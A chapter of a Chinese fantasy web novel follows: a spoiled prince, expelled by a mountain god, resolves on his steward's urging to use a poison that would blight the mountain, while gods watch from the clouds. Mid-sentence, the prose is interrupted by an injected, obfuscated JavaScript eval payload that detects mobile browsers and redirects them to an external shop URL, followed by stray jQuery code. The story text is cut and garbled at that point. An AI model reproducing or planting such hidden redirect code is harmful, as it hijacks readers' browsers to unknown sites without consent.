“祂怎么敢——!”
约在苍梧山三十里外,十九皇子愣然看着一片平野以及平野上一个个的人,反应过来他们一行人应该是被“苍梧山神”驱逐出了苍梧山一带,连行李都没给他们留下一份,当即不再忍耐脾气,暴跳如雷。
慢了一拍同样突然出现在十九皇子等人附近的监天司三人组相互对视一眼,情绪倒是颇为稳定。神祇,尤其是天生神祇,基本没有一个是好打交道的。这等神明的性情千奇百怪,从来不能以常理度之,纵然与之定下契约、将其神名录入图册亦是如此,何况如今不过是“初识”。
在监天司三人看来,“苍梧山神”已经算是一个情绪稳定,而且颇为“像人”的一个神明了。固然比不得那些天真烂漫且纯良无害的神祇好骗,却起码可以让人摸索出脉搏,不至于毫无头绪,需得一点点试探。
十九皇子命令其手下搬出那个箱子时,三人不清楚对方具体要做什么。不过看那位殿下的模样,估计不是去送好礼,而是打算动用某些手段出口气。至于是怎样的手段会得到怎样的结果,来来回回也就是那么几种可能,类似的手段他们也不是做不到,只是认为目前暂不需要。
既然作为朝廷代表的十九皇子有心出手,他们没有阻拦的必要。而且他们同样想过等着看看“苍梧山神”在吃了闷亏之后,究竟是会被“吓怕”了,故而彻底倒向朝廷,还是会给到他们一个“趁虚而入”的机会。
只可惜,坐山观虎斗的渔翁着实没有那么好当,他们也跟着一块被赶走了。
发展到这种地步,虽说不能就此断定他们的任务绝对不可能完成,但倘若当真要在此事上死磕,避免不了要多费点心思、多冒一些风险——这也是他们有点消极怠工的缘由。
三人同出一脉,并且都是颢州监天司中的边缘人物,本身并不负责苍梧之野一带的事情,此番是临时被调派而来,此事本就颇有说道的地方。
等遇到十九皇子、与“苍梧山神”见过面后,更觉得奇怪——苍梧山神一言不合就将他们驱逐,脾气实在暴躁,却极有逻辑,并非完全难以沟通那一类,这样的任务交到他们手上,到底是为着何种内情?
而十九皇子这位朝廷选择的“见证者”也是微妙,瞧着如今的模样便知这位不适合做这样的事。还是说朝廷那边本来是认为“苍梧山神”很好处理,于是派来这位过来“镀金”?
监天司的三人不清楚其中是否藏有朝廷方面的阴谋诡计,但是他们知道,事到如今,他们大可顺水推舟,第一阶段的任务便就此暂停。之后该是如何,就看他们将这里的事情上报后,上头大人们又会下达怎样的命令。
“三位仙师请留步。”监天司的三人不欲在此多做停留,十九皇子身边的中年管家却忽然开口挽留。
哪怕监天司可以不看朝廷以及皇室面子,自身实力超然的顶尖强者也不必,可是他们三人还没有到那种程度,监天司这个整体也不会因为一点小事就保下他们。所以无论此时内心有多么不情愿,他们确实“留步”了,只是冷淡着脸色,问一句:“殿下还有何吩咐?”
“殿下”黑着脸没有主动开口,中年管家则是挤出几分和睦的笑容,上前一步行了一礼,回道:“那位苍梧山神实在太过不讲道理、不通世事,竟然如此无礼!然而,此事终究仍需解决,不知三位可有头绪?若无,不若与我家殿下一同,前去别处密谈一番?”
对此,三人组中的高个子十分果断地表示出拒绝:“不了。之后该当如何,我们还需先行请示护法乃至司主,或许再来便不是我等应该插手的了。十九殿下,我们告辞了!”
监天司三人相视一眼,颇有默契地看懂了彼此的心思,均是不欲与十九皇子有太过深入的交情,表面上做足了礼貌的姿态,走得却是毫不拖泥带水,仿佛身后被狗追着咬——当最后一个字音落下,人已经消失不见,完全没有空出让对方开口挽留的余地。
“区区三个小喽啰,居然也——”十九皇子的脾气一直都算糟糕,他从小到大只需要玩乐与放纵,唯有爹娘和亲哥能够让他“乖巧”下来,其他人难以得到一句好话好脸色。
这次他被迫无奈接过这份“枯燥无趣”的工作,主要是因为他的母后暗中告诉他,如无意外,苍梧之野一带,未来或许就会是他的封地。正巧这片地域上多出了一个新生的地祇,便由他前去将对方收服,日后对他也是有好处。
是的,九州之间看着貌合神离,但不还是没有“离”吗?所以九州天下还是他们皇室的天下,除钧州之外,其余八州的王侯不过是代行辅助管理,名义上八州并非他们各自的封地。皇室也一代又一代地将子弟散开分封到各处,只为了夺回掌控。至于结果如何……实在一言难尽。
十九皇子从一开始就知道自己未来要是坐不上那个皇位,就只能被分封到他处,而拜皇后亲娘和太子亲哥所赐,他很早以前就知道自己大概会被分封到颢州——皇后出身的州域,只是尚且不清楚封地具体会是哪一块。
如今似乎是有口风露了出来,可偏偏随之而来的还有一个天大的麻烦——或许旁人认为新出现的地祇是一种机遇,但是对于不希望破坏正常生活的人而言,突如其来的变故都是令人憎恶的存在。
十九皇子其实不太会收服一个人,他只会简单粗暴地一个巴掌一个蜜枣。面对为了生计塌了脊梁的人不论怎么做都能获得几分不纯粹的感激涕零,对于能挺直腰的人却不好使了。
而当面对与人看似一致实则不同的神明,便更有可能起到反作用——这也是监天司三人组不看好十九皇子,想不明白对方真正意图的原因。要是真的想要“拿下”苍梧山神,这种手段实在让人无语。
但是在十九皇子眼中,他所做的一切都是正常的,就像是他身边的亲信此刻所说的那样:
“殿下别气。为着那不识好歹的山神气坏了自己,可就是亲者痛仇者快了。殿下亲自驾临苍梧山,已经给足了那山神的面子,不料竟是仍不知足;殿下不过是打算略施小惩,那山神竟敢如此冒犯,实在罪不可赦!唉,终究是非我族类,这些异族不识人道礼仪、不懂尊重啊……”
幽幽传入耳中的话语说进了十九皇子的心里,仿若就是他本身的心声——他也有足够生气的原因不是吗?为了这么一桩破事,他星夜兼程还熬了一个通宵,耐着性子和气地说事,结果还不领情!
之后他不过是要给自己出一口气,吓唬一下那个嚣张的山神,让祂知道什么人能惹什么人不能,知道自己才是执掌主动权那个,谁晓得下一刻一行人就直接被赶出了苍梧山!
倘若未来苍梧之野一带当真是他封地的一部分,他这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948273|212368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
封地的主人竟然还有一处地方是无法靠近,岂不是会被那些所谓的兄弟姐妹和身边的狐朋狗友笑死?十九皇子越想越气,神色也愈发变得可以用“狰狞扭曲”来形容。
身边的中年管家见状,一双眼睛黑得幽深,其人将声音压得很低很低,轻飘飘地道:“殿下,我们现在就离开吗?可是,事情尚未办妥啊。而且马车和行李都留在了苍梧山那边,该怎么办呢?唉,苍梧山神实在不通教化!可惜以后兴许还有用得上祂的地方,不能撕破脸皮……”
浓浓夜色之下,十九皇子的脸上好似都多出了些许阴沉的昏暗:“哼!这种不听话的玩意,留着也是祸害!既然不能为我所用,不如干脆毁掉!”
中年管家眼底闪过一丝异色,故意为难地支支吾吾:“可是……”
“没有可是!”十九皇子仿佛下定了决心,“你只需要告诉我能不能做到、有没有办法做到!”
中年人故作迟疑:“这、这……小的不敢说。”
十九皇子脱口而出:“有什么不敢说的,出事了有本殿担着!”
中年人闻言,当即“诚惶诚恐”地躬身弯腰连连赔个不是,然后从怀中取出一个瓷瓶,道出了一条计谋,末了还记得说明可能引起的后果:
“殿下请看。此为娘娘为了殿下的安全,特意送来的一种特殊药物。如果那苍梧山神是一名恶神,要对殿下不利,便让小的立即在苍梧山范围内打碎瓷瓶,让那山神后悔出手!只是如此一来,不止那苍梧山神不死亦残,就连方圆数十里,恐怕都要生机断绝……”
说到这里,中年人故意一顿,直勾勾盯着十九皇子的表情:“殿下,您确定当真要使用吗?”
十九皇子表情数变:“还要进入苍梧山才能用?”
中年人回道:“此事易也,随意寻个人给些跑腿的辛苦费,让人带进去便可。现在关键只在于,殿下您的意思是……”
十九皇子沉默良久,感受着身边吹拂而过的凉风以及手下们那些各有含义的目光,终是下定了决心:“就按你的去做。后果,有本殿担着!”
.
“……这就是你说的好戏?”
悠悠云海,朵朵白云如同一个个软绵绵的坐垫,托着两个人影飘浮在半空,俯视着人间万象。地面上的人却丝毫不觉,自身头顶不远处那飘荡的云雾之上,居然有“人”将他们的一言一行尽数看去、听去。
得知十九皇子“死性不改”,还想继续不干人事,纪宇此时的心态意外地平和。此前,帝俊一句“有一出‘好戏’正在上演,你可是有心与我一同前去,一看究竟?”他便跟着夋这个神秘兮兮的天神来到这里,现场目睹了监天司三人组的离去以及十九皇子的决定。
此刻,纪宇盘坐在“夋”送来的云上,小乘黄趴在他的肩膀,只是思考“夋”带他来见证这一幕究竟是不是另有目的。
对此,帝俊轻笑一声,反问道:“莫非你觉得这出戏还不够精彩?”
“精彩在哪?”纪宇不是没脾气的人,被人一遍遍地针对还能说些什么“宽恕”和“原谅”,但他察觉到事情不太对劲——各方面都不太对劲,所以才忍耐到现在,去探寻那个根本,消灭那个源头,一劳永逸。
帝俊没有回答,祂端详着纪宇的神色,忽然问道:“你认为那十九皇子如何?”